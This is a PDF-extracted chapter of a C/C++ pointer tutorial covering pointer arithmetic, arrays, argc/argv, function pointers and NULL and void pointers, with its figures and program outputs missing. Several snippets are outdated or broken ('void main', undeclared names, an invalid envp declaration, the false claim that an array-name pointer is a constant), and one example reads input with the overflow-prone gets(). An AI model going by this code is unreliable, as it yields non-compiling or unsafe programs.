its value to another pointer as shown in the following example.

// program to illustrate the basic use of pointers


//**********C++*****************
#include <iostream>
// using C header in C++
#include <cstdlib>
using namespace std;

void main()
{
int num = 10, *point_one, *point_two;
//declares an integer variable and two pointers variables

point_one = &num;
//assigns the address of variable num to pointer point_one

point_two = point_one;
//assigns the (address) point_one to point_two

cout<<"Pointers variables..."<<endl;
cout<<"*point_one = "<<*point_one<<"\n";
cout<<"*point_two = "<<*point_two<<"\n";

cout<<"\nNormal variable..."<<endl;
cout<<"num = "<<num<<"\n";

cout<<"\n-Both pointer point_one and"<<"\n";


cout<<"-point_two point to the same variable num."<<"\n";
cout<<"-That is why, they have same value, 10."<<endl;
// displays value 10 stored in num since point_one
// and point_two now point to variable num
system("pause");
}

Output:

www.tenouk.com Page 5 of 31
- The program example can be illustrated graphically as shown below. The memory address is
arbitrarily chosen.

Figure 8.6

- Notice the difference between memory address and actual data value, which stored at the memory
address. Do not worry about the addresses, they are determined and provided by the system.
- From the above example, we can:

1. Access the contents of a variable by using the variable name (num) and is called direct access.
2. Access the contents of a variable by using a pointer to the variable (*point_one or
*point_two) and is called indirect access or indirection.

- As conclusion, if a pointer named pter of type int has been initialized to point to the variable
named var, the following are true:

int *pter;
pter = &var;

3. *pter and var both refer to the contents of var (that is, whatever data value stored
there).
4. pter and &var refer to the address of var (the pter only hold the address of variable
var not the actual data value).

- So, a pointer name without the indirection operator (*) accesses the pointer value itself, which is of
course, the address of the variable pointed to. Very confused :o).
- Another example:

//Basic pointer use


#include <stdio.h>
#include <stdlib.h>

void main()
{
//Declare and initialize an int variable
int var = 34;
//Declare a pointer to int variable
int *ptr;

//Initialize ptr to point to variable var


ptr = &var;

//Access var directly and indirectly


printf("\nDirect access, variable var value = var = %d", var);

www.tenouk.com Page 6 of 31
//you can use %p for the pointer memory address directly or
//%0x or %0X in hexadecimal representative instead of
//%d, just to avoid confusion here…
printf("\nIndirect access, variable var value = *ptr = %d", *ptr);

//Display the address of var two ways


printf("\n\nThe memory address of variable var = &var = %d", &var);
printf("\nThe memory address of variable var = ptr = %d\n", ptr);
system("pause");
}

Output:

- The address displayed for variable var may not be 4094 on your system because different computer
will have different specification.
- For pointer arithmetic operation, only two arithmetic operations, that is addition and subtraction
available. For example:

int age = 25;

- So, C/C++ reserved storage for the variable age and store the value 25 in it.
- Let say, C/C++ has stored this value at the memory address 1000, and we declare a pointer variable
named ptr_age that point to the variable age.
- Then after the following expressions have been executed:

int *ptr_age;
ptr_age = &age;
ptr_age++;

- The content of the pointer then becomes 1002, not 1001 anymore (integer value takes two byte so
C/C++ add 2 to the pointer).
- Different variable types occupy different amount of memory also depend on the platform used, whether
16, 32 or 64 bits. For example for 16 bits platform:

int = 2 byte.
float = 4 byte.

- Each time the pointer is incremented, it points to the next integer and similarly, when a pointer is
decremented, it points to the previous integer.
- Each individual byte of memory has it own address; so multibyte variable actually occupies several
addresses.
- When pointers used to handle the addresses of multibyte variables, the address of a variable is actually
the address of the lowest byte it occupies.
- For example:

int vint = 12252;


char vchar = 90;
float vfloat = 1200.156004;

- These variables are stored in memory as shown below.

www.tenouk.com Page 7 of 31
Figure 8.7

- So:

1. int variables occupy 2 byte starts at 1000.


2. char variables occupy 1 byte starts at 1003.
3. float variables occupy 4 byte starts at 1006.

- Then, how to declare and initialized pointers to these 3 variables? As explained to you before,
- Declaration - declare the pointer variables:

int *p_vint;
char *p_vchar;
float *p_vfloat;

- Initialization - assign the addresses of the normal variables to the new pointer variables.

p_vint = &vint;
p_vchar = &vchar;
p_vfloat = &vfloat;

- Then pointer is equal to the address of the first byte of the pointed-to variable. So:

p_vint equals 1000.


p_vchar equals 1003.
p_vfloat equals 1006.

- We have to understand this concept because we are dealing with addresses, not the actual data as
before.
- Other pointer arithmetic operation is called differencing, which refers to subtracting 2 pointers.
- For example, two pointers that point to different elements of the same array can be subtracted to find
out how far apart they are.
- Pointer arithmetic automatically scales the answer, so that it refers to the array elements.
- Thus, if ptr1 and ptr2 point to elements of an array (of any type), the following expression tells you
how far apart the elements are:

ptr1 – ptr2;

8.5 Pointers Comparison

- The comparison is valid only between pointers that point to the same array.
- Under this circumstances, the following relational operators work for pointers operation.

==, !=, >, <, >=, and <=

- A lower array element that is those having a smaller subscript, always have a lower address than the
higher array elements.
- Thus if ptr1 and ptr2 point to elements of the same array, the following comparison:

ptr1 < ptr2 is TRUE

- If ptr1 points to an earlier member of the array than ptr2 does.

www.tenouk.com Page 8 of 31
- Many arithmetic operations that can be performed with regular variables, such as multiplication and
division, do not work with pointers and will generate errors in C/C++.
- The following table is a summary of pointer operations.

Operation Description
You can assign a value to a pointer. The value should be an
1. Assignment (=) address with the address-of-operator (&) or from a pointer
constant (array name)
The indirection operator (*) gives the value stored in the pointed
2. Indirection (*)
to location.
You can use the address-of operator to find the address of a
3. Address of (&)
pointer, so you can use pointers to pointers.
You can add an integer to a pointer to point to a different memory
4. Incrementing
location.
You can subtract an integer from a pointer to point to a different
5. Differencing
memory location.
6. Comparison Valid only with 2 pointers that point to the same array.

Table 8.1: Pointer operations

8.6 Uninitialized Pointers

- Let say we declare a pointer something like this:

int *ptr;

- This statement declares a pointer to type int but not yet initialized, so it doesn’t point to anything
known.
- Then, consider the following pointer assignment statement:

*ptr = 12;
// this is not an address lol!

- This statement means the value 12 is assigned to whatever address ptr point to. That address can be
almost anywhere in memory.
- The 12 stored in that location may overwrite some important information, and the result can be
anything from storage program errors to a full system crash. So, you must initialize a pointer so that it
point to something. Do not create a stray pointer.
- A better solution may be you can assign NULL (\0) value during the initialization before using the
pointer, by pointing it to something useful or for pointer that point to a string you may just point to an
empty string for dummy such as:

char * mystring = "";

- Program example:

#include <stdio.h>
#include <stdlib.h>

int main()
{

int *thepointer;

thepointer = NULL;
//do some testing....
printf("The thepointer pointer is pointing to = %X\n", thepointer);
printf("The thepointer pointer is pointing to = %d\n", thepointer);
system("pause");
return 0;
}

Output:

www.tenouk.com Page 9 of 31
8.7 Arrays And Pointers

- A special relationship exists between pointers and arrays and this have been explained briefly in
Module Array.
- An array name without brackets is a pointer to the array’s first element. So, if a program declared an
array data[], data (array’s name) is the address of the first array element and is equivalent to the
expression &data[0] that means references the address of the array’s first element.

data equivalent to &data[0] or a pointer to the array’s first element.

- The array’s name is, therefore a pointer to the array’s first element and therefore to the string if any.
- A pointer is a constant. It cannot be changed and remains fixed for the duration of program execution.
- Many string operations in C/C++ are typically performed by using pointers because strings tend to be
accessed in a strictly sequential manner.
- Program example.

//Array, pointer and string


#include <stdio.h>

void main()
{
//an array variable of type char, sized 79
char sentence[80];

//prompt for user input...


printf("Enter a line of text:\n");
//read the user input...
gets(sentence);
//display what has been read by gets()
printf("Line of text entered: \n%s\n", sentence);
getchar();
}

Output:

- Graphically can be depicted as follows:

Figure 8.8

- Element of an array are stored in sequential memory locations with the first element in the lowest
address.
- Subsequent array elements, those with an index greater than 0 are stored at higher addresses.

www.tenouk.com Page 10 of 31
- As mentioned before, array of type int occupies 2 byte of memory and a type float occupies 4
byte.
- So, for float type, each element is located 4 bytes higher than the preceding element, and the address
of each array element is 4 higher than the address of the preceding element.
- For example, relationship between array storage and addresses for a 6-elements int array and a 3-
elements float array is illustrated below.

Figure 8.9

- The x variable without the array brackets is the address of the first element of the array, x[0].
- The element is at address of 1000; the second element is 1002 and so on.
- As conclusion, to access successive elements of an array of a particular data type, a pointer must be
increased by the sizeof(data_type). sizeof() function returns the size in bytes of a C/C++
data type. Let take a look at the following example:

//demonstrates the relationship between addresses


//and elements of arrays of different data type
#include <stdio.h>
#include <stdlib.h>

void main()
{
//declare three arrays and a counter variable
int i[10], x;
float f[10];
double d[10];

//print the table heading


printf("\nArray's el. add of i[x] add of f[x] add of d[x]");
printf("\n|================================");
printf("======================|");

//print the addresses of each array element


for(x=0; x<10; x++)
printf("\nElement %d:\t%p\t%p\t%p",x,&i[x],&f[x],&d[x]);
printf("\n|================================");
printf("======================|\n");
printf("\nLegends:");
printf("\nel.- element, add - address\n");
printf("\ndifferent pc, shows different addresses\n");
system("pause");
}

Output:

www.tenouk.com Page 11 of 31
- Notice the difference between the element addresses.

12FEB4 – 12FEB0 = 4 bytes for int


12FE78 – 12FE74 = 4 bytes float
12FE24 – 12FE1C = 8 bytes double

- The size of the data type depends on the specification of your compiler, whether your target is 16, 32 or
64 bits systems, the output of the program may be different for different PC. The addresses also may
different.
- Try another program example.

//demonstrates the use of pointer arithmetic to access


//array elements with pointer notation
#include <stdio.h>
#include <stdlib.h>
#define MAX 10

void main()
{
//declare and initialize an integer array
int array1[MAX] = {0,1,2,3,4,5,6,7,8,9};
//declare a pointer to int and an int variable
int *ptr1, count;
//declare and initialize a float array
float array2[MAX] = {0.0,0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9};
//declare a pointer to float
float *ptr2;

//initialize the pointers


//just an array name is the pointer to the
//1st array element, both left value and right value
//of the expression are pointers types...
ptr1 = array1;
ptr2 = array2;

//print the array elements


printf("\narray1 values array2 values");
printf("\n-------------------------");
//iterate or loop the arrays and display the content...
for(count = 0; count < MAX; count++)
printf("\n%d\t\t%f", *ptr1++, *ptr2++);
printf("\n-------------------------\n");
system("pause");
}

Output:

www.tenouk.com Page 12 of 31
- Let make it clear, if an array named list[] is a declared array, the expression *list is the array’s
first element, *(list + 1) is the array’s second element, and so on.
- Generally, the relationship is as follows:

*(list) == list[0] //first element


*(list + 1) == list[1] //second element
*(list + 2) == list[2] //third element


*(array + n) == list[n] //the nth element

- So, you can see the equivalence of array subscript notation and array pointer notation.

8.8 Arrays Of Pointers

- Pointers may be arrayed like any other data type. The declaration for an int pointer array of size 20
is:

int *arrayPtr[20];

- To assign the address of an integer variables called var to the first element of the array, we could
write something like this:

arrayPtr[0] = &var;

- Graphically can be depicted as follows:

Figure 8.10

- To find the value stored in var, we could write something like this:

*arrayPtr[0]

- To pass an array of pointers to a function, we simply call the function with the array’s name without
any index/subscript, because this is automatically a pointer to the first element of the array, as
explained before.
- For example, to pass the array named arrayPtr to viewArray function, we write the following
statement:

www.tenouk.com Page 13 of 31
viewArray(arrayPtr);

- The following program example demonstrates the passing of a pointer array to a function. It first
declares and initializes the array variable var (not a pointer array).
- Then it assigns the address of each element (var[i]) to the corresponding pointer element
(arrayPtr[i]).
- Next, the array arrayPtr is passed to the array’s parameter q in the function viewArray(). The
function displays the elements pointed to by q (that is the values of the elements in array var) and
then passes control back to main().

//program that passes a pointer array to a function


#include <iostream.h>
#include <stdlib.h>

//function prototype for viewArray


void viewArray(int *[]);

void main()
{
//declare and initialize the array variables...
int i,*arrayPtr[7], var[7]={3,4,4,2,1,3,1};

//loop through the array...


for(i=0; i<7; i++)
//arrayPtr[i] is assigned with
//the address of var[i]
arrayPtr[i] = &var[i];

//A call to function viewArray,


//pass along the pointer to the
//1st array element
viewArray(arrayPtr);
cout<<endl;
system("pause");
}

//function prototype...
//arrayPtr is now passed to parameter q,
//q[i] now points to var[i]
void viewArray(int *q[])
{
int j;
for(j = 0; j < 7; j++)
cout<<*q[j]<<" ";
//displays the element var[i] pointed to by q[j]
//followed by a space. No value is returned
//and control reverts to main()
}

Output:

8.9 Pointers To Pointers

- Graphically, the construct of a pointer to pointer can be depicted as shown below. pointer_one is
the first pointer, pointing to the second pointer, pointer_two and finally pointer_two is
pointing to a normal variable num that hold integer 10.

Figure 8.11

www.tenouk.com Page 14 of 31
- Another explanation, from the following figure, a pointer to a variable (first figure) is a single
indirection but if a pointer points to another pointer (the second figure), then we have a double or
multiple indirections.

Figure 8.12

- For the second figure, the second pointer is not a pointer to an ordinary variable, but rather, a pointer to
another pointer that points to an ordinary pointer.
- In other words, the second pointer points to the first pointer, which in turn points to the variable that
contains the data value.
- In order to indirectly access the target value pointed to by a pointer to a pointer, the asterisk operator
must be applied twice. For example, the following declaration:

int **SecondPtr;

- Tell the compiler that SecondPtr is a pointer to a pointer of type integer. Pointer to pointer is rarely
used but you will find it regularly in programs that accept argument(s) from command line.
- Consider the following declarations:

char chs; /* a normal character variable */


char *ptchs; /* a pointer to a character */
char **ptptchs; /* a pointer to a pointer to a character */

- If the variables are related as shown below:

Figure 8.13

- We can do some assignment like this:

chs = ‘A’;
ptpch = &chs;
ptptpch = ptchs;

- Recall that char * refers to a NULL terminated string. So one common way is to declare a pointer to
a pointer to a string something like this:

Figure 8.14

- Taking this one stage further we can have several strings being pointed to by the integer pointers
(instead of char) as shown below.

www.tenouk.com Page 15 of 31
Figure 8.15

- Then, we can refer to the individual string by using ptptchs[0], ptptchs[1],…. and generally,
this is identical to declaring:

char *ptptchs[] /* an array of pointer */

- Or from Figure 8.15:

char **ptptchs

- Thus, programs that accept argument(s) through command line, the main() parameter list is declared
as follows:

int main(int argc, char **argv)

- Or something like this:

int main(int argc, char *argv[])

- Where the argc (argument counter) and argv (argument vector) are equivalent to ptchs and
ptptchs respectively.
- For example, program that accept command line argument(s) such as echo:

C:\>echo This is command line argument


This is command line argument

- Here we have:

Figure 8.16

- So our main() function now has its own arguments. As a convention, these are the only arguments
main() accepts. Notice that the argv[0] is program name.

1. argc (argument counter) is the number of arguments, which we typed including the program
name that is equal to 0.
2. argv (argument vector) is an array of strings holding each command line argument including the
program name that is the first array element, argv[0].

- But some implementation will have another third parameter, envp/env, a pointer to an environment
variable as shown below. Environment variable in Operating System is an array of strings.

www.tenouk.com Page 16 of 31
int main(int argc, char *argv[], *envp[])

- Let try a program example:

/*program to print arguments from command line*/


/*run this program at the command prompt*/
#include <stdio.h>

/*or int main(int argc, *argv[])*/


int main(int argc, char **argv)
{
int i;
printf("argc = %d\n\n", argc);
for (i=0; i<argc; ++i)
printf("argv[%d]: %s\n", i, argv[i]);
return 0;
}

Output:

- Another silly program example :o):

// pointer to pointer...
#include <stdio.h>
#include <stdlib.h>

int main(void)
{
int **theptr;
int *anotherptr;

int data = 200;


anotherptr = &data;

// assign the second pointer address to


// the first pointer...
theptr = &anotherptr;

printf("The actual data, **theptr = %d\n", **theptr);


printf("\nThe actual data, *anotherptr = %d\n", *anotherptr);
printf("\nThe first pointer pointing to an address, theptr = %p\n", theptr);
printf("\nThis should be the second pointer address, &anotherptr = %p\n", &anotherptr);
printf("\nThe second pointer pointing to address(= hold data),\nanotherptr = %p\n",
anotherptr);
printf("\nThen, its own address, &anotherptr = %p\n", &anotherptr);
printf("\nThe address of the actual data, &data = %p\n", &data);
printf("\nNormal variable, the data = %d\n", data);

system("pause");
return 0;
}

Output:

www.tenouk.com Page 17 of 31
8.10 Pointers and Function – Function Pointers

- Because of C functions have addresses we can use pointers to point to C functions. If we know the
function’s address then we can point to it, which provides another way to invoke it.
- Function pointers are pointer variables which point to functions. Function pointers can be declared,
assigned values and then used to access the functions they point to. The declaration is as the following:

int (*funptr)();

- Here, funptr is declared as a pointer to a function that returns int data type.
- The interpretation is the dereferenced value of funptr, that is (*funptr) followed by () which
indicates a function, which returns integer data type.
- The parentheses are essential in the declarations because of the operators’ precedence. The declaration
without the parentheses as the following:

int *funptr();

- Will declare a function funptr that returns an integer pointer that is not our intention in this case. In
C, the name of a function, used in an expression by itself, is a pointer to that function. For example, if
a function, testfun() is declared as follows:

int testfun(int x);

- The name of this function, testfun is a pointer to that function. Then, we can assign them to pointer
variable funptr, something like this:

funptr = testfun;

- The function can now be accessed or called, by dereferencing the function pointer:

/* calls testfun() with x as an argument then assign to the


variable y */
y = (*funptr)(x);

- Function pointers can be passed as parameters in function calls and can be returned as function values.
- Use of function pointers as parameters makes for flexible functions and programs. It’s common to use
typedefs with complicated types such as function pointers. You can use this typedef name to hide the
cumbersome syntax of function pointers. For example, after defining

typedef int (*funptr)();

www.tenouk.com Page 18 of 31
- The identifier funptr is now a synonym for the type of ‘a pointer to function takes no arguments,
returning int type’. This typedef would make declaring pointers such as testvar as shown below,
considerably easier:

funptr testvar;

- Another example, you can use this type in a sizeof() expression or as a function parameter as
shown below:

/* get the size of a function pointer */


unsigned ptrsize = sizeof (int (*funptr)());

/* used as a function parameter */


void signal(int (*funptr)());

- Let try a simple program example using function pointer.

/* Invoking function using function pointer */


#include <stdio.h>

int somedisplay();

int main()
{
int (*func_ptr)();

/* assigning a function to function pointer


as normal variable assignment */
func_ptr = somedisplay;
/* checking the address of function */
printf("\nAddress of function somedisplay() is %p", func_ptr);
/* invokes the function somedisplay() */
(*func_ptr)() ;
return 0;
}

int somedisplay()
{
printf("\n--Displaying some texts--\n");
return 0;
}

Output:

- Another example with an argument.

#include <stdio.h>

/* function prototypes */
void funct1(int);
void funct2(int);

/* making FuncType an alias for the type


'function with one int argument and no return value'.
This means the type of func_ptr is 'pointer to function
with one int argument and no return value'. */
typedef void FuncType(int);

int main(void)
{
FuncType *func_ptr;

/* put the address of funct1 into func_ptr */


func_ptr = funct1;
/* call the function pointed to by func_ptr with an argument of 100 */

www.tenouk.com Page 19 of 31
(*func_ptr)(100);

/* put the address of funct2 into func_ptr */


func_ptr = funct2;
/* call the function pointed to by func_ptr with an argument of 200 */
(*func_ptr)(200);
return 0;
}

/* function definitions */
void funct1 (testarg)
{printf("funct1 got an argument of %d\n", testarg);}

void funct2 (testarg)


{printf("funct2 got an argument of %d\n", testarg);}

Output:

- The following codes in the program example:

func_ptr = funct1;
(*func_ptr)(100);

- Can also be written as:

func_ptr = &funct1;
(*func_ptr)(100);

- Or

func_ptr = &funct1;
func_ptr(100);

- Or

func_ptr = funct1;
func_ptr(100);

- As we have discussed before, we can have an array of pointers to an int, float and string.
Similarly we can have an array of pointers to a function. It is illustrated in the following program
example.

/* An array of pointers to function */


#include <stdio.h>

/* functions' prototypes */
int fun1(int, double);
int fun2(int, double);
int fun3(int, double);
/* an array of a function pointers */
int (*p[3]) (int, double);

int main()
{
int i;

/* assigning address of functions to array pointers */


p[0] = fun1;
p[1] = fun2;
p[2] = fun3;

/* calling an array of function pointers with arguments */


for(i = 0; i <= 2; i++)
(*p[i]) (100, 1.234);
return 0;

www.tenouk.com Page 20 of 31
}

/* functions' definition */
int fun1(int a, double b)
{
printf("a = %d b = %f", a, b);
return 0;
}

int fun2(int c, double d)


{
printf("\nc = %d d = %f", c, d);
return 0;
}

int fun3(int e, double f)


{
printf("\ne = %d f = %f\n", e, f);
return 0;
}

Output:

- In the above program we take an array of pointers to function int (*p[3]) (int, double).
Then, we store the addresses of three function fun1(), fun2(), fun3() in array (int *p[]). In
for loop we consecutively call each function using their addresses stored in array.
- For function and array, the only way an array can be passed to a function is by means of a pointer.
- Before this, an argument is a value that the calling program passes to a function. It can be int, a
float or any other simple data type, but it has to be a single numerical value.
- The argument can, therefore, be a single array element, but it cannot be an entire array.
- If an entire array needs to be passed to a function, then you must use a pointer.
- As said before, a pointer to an array is a single numeric value (the address of the array’s first element).
- Once the value of the pointer (memory address) is passed to the function, the function knows the
address of the array and can access the array elements using pointer notation.
- Then how does the function know the size of the array whose address it was passed?
- Remember! The value passed to a function is a pointer to the first array element. It could be the first of
10 elements or the first of 10000 or what ever the array size.
- The method used for letting a function knows an array’s size, is by passing the function the array size
as a simple type int argument.
- Thus the function receives two arguments:

1. A pointer to the first array element and


2. An integer specifying the number of elements in the array, the array size.

- The following program example illustrates the use of a pointer to a function. It uses the function
prototype float (*ptr) (float, float) to specify the number and types of arguments. The
statement ptr = &minimum assigns the address of minimum() to ptr.
- The statement small = (*ptr)(x1, x2); calls the function pointed to by (*ptr), that is the
function minimum() which then returns the smaller of the two values.

// pointer to a function
#include <iostream.h>
#include <stdlib.h>

// function prototypes...
float minimum(float, float);
// (*ptr) is a pointer to function of type float
float (*ptr)(float, float);

void main()
{
float x1, x2, small;

www.tenouk.com Page 21 of 31
// Assigning address of minimum() function to ptr
ptr = minimum;

cout<<"\nEnter two numbers, separated by space: ";


cin>>x1>>x2;

// call the function pointed by ptr small


// has the return value
small = (*ptr)(x1, x2);
cout<<"\smaller number is "<<small<<endl;
system("pause");
}

float minimum(float y1, float y2)


{
if (y1 < y2)
return y1;
else
return y2;
}

Output:

- Study the program and the output.

8.11 NULL Pointer Constant

- The null pointer constant is guaranteed not to point to any real object. You can assign it to any pointer
variable since it has type void *. The preferred way to write a null pointer constant is with NULL.
- This NULL pointer when set, actually pointing to an address of 0x00000000 (32 bits) of memory.
The computer systems have reserved this zero address for NULL pointer and that is why it cannot be
used for other purposes.
- Since C functions can only return one variable, it is common practice for those which return a pointer
to set it to NULL if there’s a problem or no object pointed to yet so that we can avoid the stray pointer.
To play safe, you can also set a pointer to NULL to indicate that it’s no longer in use.
- Program example segment is illustrated below:

/* declare a pointer to type char */


char *bufptr;
/* allocate memory on the heap */
bufptr = malloc(1000);

/* verify the memory allocation


if fail… */
if (bufptr == NULL)
{
printf("Memory allocation is failed lol!\n");
}
/*If OK….*/
else
{
/* call the LoadBuffer() function */
LoadBuffer(bufptr);
}
...
/* free up memory on the heap */
free(bufptr);
bufptr = NULL;

- You can also use 0 or (void *)0 as a null pointer constant, but using NULL is cleaner because it
makes the purpose of the constant more evident.

8.12 void Pointers

www.tenouk.com Page 22 of 31
- There are times when you write a function but do not know the data type of the returned value. When
this is the case, you can use a void pointer, a pointer of type void.

#include <stdio.h>

/* void pointer */
int func(void *thePtr);

int main()
{
/* assigning a string to the pointer */
char *theStr = "abcd1234";
func(theStr);
return 0;
}

int func(void *thePtr)


{
printf("%s\n", thePtr);
return 0;
}

Output:

- A pointer can only be copied from a pointer of the same type, or from a pointer to void. A pointer to
void is a generic pointer that can be used to hold an address, but cannot be 'deferenced', that means
you can’t use it with an asterisk before it to update a variable. It acts as a placeholder.
- void pointers are commonly used in the parameter list of built-in functions, such as memcpy() and
memset(). This is why you can use the same function to copy strings (pointer to character) and
structures (pointer to structure).
- On the other hand, when neither pointer is of type pointer to void, the only way to copy an address
from a pointer of a different type is to cast the second pointer to the type of the first pointer as shown
below:

char *bufptr;
struct record *recptr;

recptr = (struct record *)bufptr;

----------------------------------------------------------Have a break!------------------------------------------------------------

Reference/Dereference Operators Revisited

Function

Passes arguments in a function definition header by reference.

Reference Syntax

function_name (&parameter, ..., ...)


{statements}

Some description

The default function calling convention is to pass by value. The reference operator can be applied to parameters in a
function definition header to pass the argument by reference instead.
The reference types created with the & operator, create aliases for objects and let you pass arguments to functions by
reference.
When a variable x is passed by reference to a function, the matching formal argument in the function receives an
alias for x. Any changes to this alias in the function body are reflected in the value of x.

www.tenouk.com Page 23 of 31
When a variable x is passed by value to a function, the matching formal argument in the function receives a copy of
x. Any changes to this copy within the function body are not reflected in the value of x itself. The function also can
return a value that could be used later to change x, but the function cannot directly alter a parameter passed by value.
The reference operator is only valid when used in function definitions as applied to one or more of its parameters. It
can be used to obtain the address of a variable.

Function And Pointer

Study the following illustration and memorize it, you will remember what the pointer and reference are, forever :o).

*ptr - pointer variable


var - normal variable

//declare a pointer variable ptr of type int


int *ptr;

//declare and initialize normal variable var of type int


int var = 123;

//assign the address of normal variable var to pointer ptr.


ptr = &var;

So, the pointer ptr now is pointing to the data value 123, hold by variable var.
The & and * operators work together to reference and dereference pointers that are passed to functions.

Syntax

&expression e.g. &var


*expression e.g. *ptr

Referencing operator ( & )

Use the reference operator to pass the address of a pointer to a function. The expression operand must be one of the
following:

• A function designator - an lvalue designating an object that is not a bit field and is not declared with a
register storage
• Class specifier

If the operand is of type type, the result is of type pointer to type. Consider the following generic example:

type varA = 1, varB = 2;

type *ptr = &varA; //Initialized pointer

*ptr = varB; //Same as varA = varB

type *ptr = &varA is treated as

type *ptr;

ptr = &varA;

So it is ptr, or *ptr, that gets assigned. Once ptr has been initialized with the address &varA, it can be safely
dereferenced to give the lvalue *ptr.

www.tenouk.com Page 24 of 31
Indirection operator ( * )

Use the asterisk (*) in a variable expression to create pointers. And use the indirect operator in external functions to
get a pointer's value that was passed by reference. If the operand is of type pointer to function, the result is a
function designator.
If the operand is a pointer to an object, the result is an lvalue designating that object.
The result of indirection is undefined if either of the following occurs:

1. The expression is a null pointer.


2. The expression is the address of an automatic variable and execution of its block has terminated.

Other pointer declarations that you may find and can make you confused :o) are listed below.

Pointer declaration Description


int *x x is a pointer to int data type.
int *x[10] x is an array[10] of pointer to int data type.
int *(x[10]) x is an array[10] of pointer to int data type.
int **x x is a pointer to a pointer to an int data type – double pointers.
int (*x)[10] x is a pointer to an array[10] of int data type.
int *funct() funct is a function returning an integer pointer.
funct is a pointer to a function returning int data type – quite
int (*funct)()
familiar constructs.
funct is a function returning pointer to an array[10] of pointers
int (*(*funct())[10])()
to functions returning int.
x is an array[4] of pointers to functions returning pointers to
int (*(*x[4])())[5]
array[5] of int.

And something to remember:

* - is a pointer to
[] - is an array of
() - is a function returning
& - is an address of

-------------------------------------------------------Have a break!-------------------------------------------------------

Program Examples

Example#1

//Program that changes the value of a pointer variable


#include <iostream>
using namespace std;

void main()
{
//declare and initialize two
//float variables
float var1 = 58.98;
float var2 = 70.44;
//declare a float pointer variable
float *ptr_var;

//make ptr_var point to variable var1...


ptr_var = &var1;

//prints 58.98
cout<<"\nThe first value is(var1) "<<*ptr_var;
cout<<"\nThe address of the first data is "<<ptr_var<<"\n";
cout<<"\nThen let the same pointer (*ptr_var)";
cout<<"\npoint to other address...\n";

//make ptr_var point to variable var2...


ptr_var = &var2;

//prints 70.44

www.tenouk.com Page 25 of 31
cout<<"\nThe second value is(var2) "<<*ptr_var;
cout<<"\nThe address of the second data is "<<ptr_var<<endl;
}

Output:

- This program demonstrates how you can make a pointer point to different values in memory. The
program defines two floating-point values.
- A floating-point pointer points to the first variable var1 and is used in the cout statement. The same
pointer is then changed to point to the second variable var2.

Example#2

//Illustrates that function receives addresses


//of variables and then alters their contents
#include <iostream>
using namespace std;

void main()
{
int x = 4, y = 7;
//function prototype...
void addcon(int*, int*);

cout<<"\nInitial value of x = "<<x;


cout<<"\nInitial value of y = "<<y;
cout<<"\nThen calls function addcon()\n";
cout<<"\nBringing along the &x = "<<&x<<endl;
cout<<"and &y = "<<&y<<"\n";
cout;

//function call, address of x any y are passed to addcon()


addcon(&x, &y);

cout<<"\nAdd 10...";
cout<<"\nNew value of x = "<<x;
cout<<"\nminus 10...";
cout<<"\nNew value of y = "<<y<<endl;
}

//function definition
//parameters are pointers...
void addcon(int *px, int *py)
{
//Adds 10 to the data stored in memory pointed to by px
*px = *px + 10;
//minus 10 to the data stored in memory pointed to by py
*py = *py - 10;
}

Output:

www.tenouk.com Page 26 of 31
- The program illustrates the use of pointers. The function main() invokes the function addcon()
with two arguments of type pointer, the first one gives the address of variable x and the second the
address of variable y.
- The addcon() function then uses the addresses received from the function main() to reference the
value of x and y. It then increments the values of x by 10 and decrement the value of y by 10 and
restore the results. After execution, x will have the value 14 and y the value -3.

Example#3

- This program outputs the values in the array nums, using a pointer rather than index/subscript. In the
first loop iteration, *(nums + dex) refers to the first value (given by index 0) in the array nums
(that is 92); in the second iteration, it refers to the second value (given by index 1) in the array
(that is 81), and so on.

//A program that uses pointers to print


//the values of an array
#include <iostream>
using namespace std;

void main()
{
//declare and initialize an array nums
int nums[] = {92,81,70,69,58};

cout<<"\nArray's element Memory address";


cout<<"\n----------------------------------";

//using for loop, displays the elements


//of nums and their respective memory address
for(int dex=0; dex<5; dex++)
cout<<"\n\t"<<*(nums + dex)<<"\t\t"<<(nums + dex);
cout<<"\n----------------------------------\n";
}

Output:

Example#4

www.tenouk.com Page 27 of 31
- This program first reads an arbitrary number of temperature readings into the array temper using
pointers (rather than subscripts).
- Then, again using pointers, it computes the average temperature. The program terminates when the
value entered for temperature is 0.

//To compute the average of an arbitrary number


//of temperature readings
#include <iostream>
using namespace std;

void main()
{
float temper[40], sum = 0.0, *ptr;
int num, day = 0;

//set a pointer to an array...


ptr = temper;
do
{
cout<<"Enter temperature for day "<<++day;
//prompt for input user input...
cout<<"\n(0-Terminate, Enter-Proceed): ";
//store in an array, pointed by ptr...
cin>>*ptr;
} while ((*ptr++) > 0);
//Test if data entered is 0,
//then point to the next array position

//reset the pointer ptr to an array temper


ptr = temper;

num = (day – 1);


//looping through the array temper...
for(day = 0; day < num; day++)
//do the summing up...
sum += *(ptr++);
//display the result...
cout<<"\nAverage temperature = "<<(sum/num)<<" Degree Celsius"<<endl;
cout<<"for "<<num<<" readings"<<endl;
}

Output:

Example#5

//using subscript and pointer notations with arrays


#include <stdio.h>
#include <stdlib.h>

void main()
{
int i, offset, b[] = {10, 20, 30, 40};
//set bPtr to point to array b
int *bPtr = b;

www.tenouk.com Page 28 of 31
printf("So many notations?????....\n");
//....separating code in multiple lines
printf("Array b printed with: \n"
"Array subscript notation\n");

for(i=0; i<=3; i++)


printf("b[%d] = %d\n", i, b[i]);
printf("\nPointer/offset notation where \n"
"the pointer is the array name\n");

for(offset = 0; offset <=3; offset++)


printf("*(b + %d) = %d\n", offset, *(b + offset));
printf("\nPointer subscript notation\n");

for(i=0; i<=3; i++)


printf("bPtr[%d] = %d\n",i,bPtr[i]);
printf("\nPointer/offset notation\n");

for(offset = 0; offset <=3; offset++)


printf("*(bptr + %d) = %d\n", offset, *(bPtr + offset));
system("pause");
}

Output:

- Program example compiled using VC++/VC++ .Net.

//Program that changes the value of a pointer variable


//compiled using VC++/VC++ .Net, C++ codes…
#include <iostream>
using namespace std;

void main()
{
//declare and initialize two
//float variables
double var1 = 58.98;
double var2 = 70.44;
//declare a float pointer variable
double *ptr_var;

//make ptr_var point to variable var1...


ptr_var = &var1;

//prints 58.98
cout<<"The first value is(var1) "<<*ptr_var;

www.tenouk.com Page 29 of 31
cout<<"\nThe address of the first data is "<<ptr_var<<"\n";
cout<<"\nThen let the same pointer (*ptr_var)";
cout<<"\npoint to other address...\n";

//make ptr_var point to variable var2...


ptr_var = &var2;

//prints 70.44
cout<<"\nThe second value is(var2) "<<*ptr_var;
cout<<"\nThe address of the second data is "<<ptr_var<<endl;
}

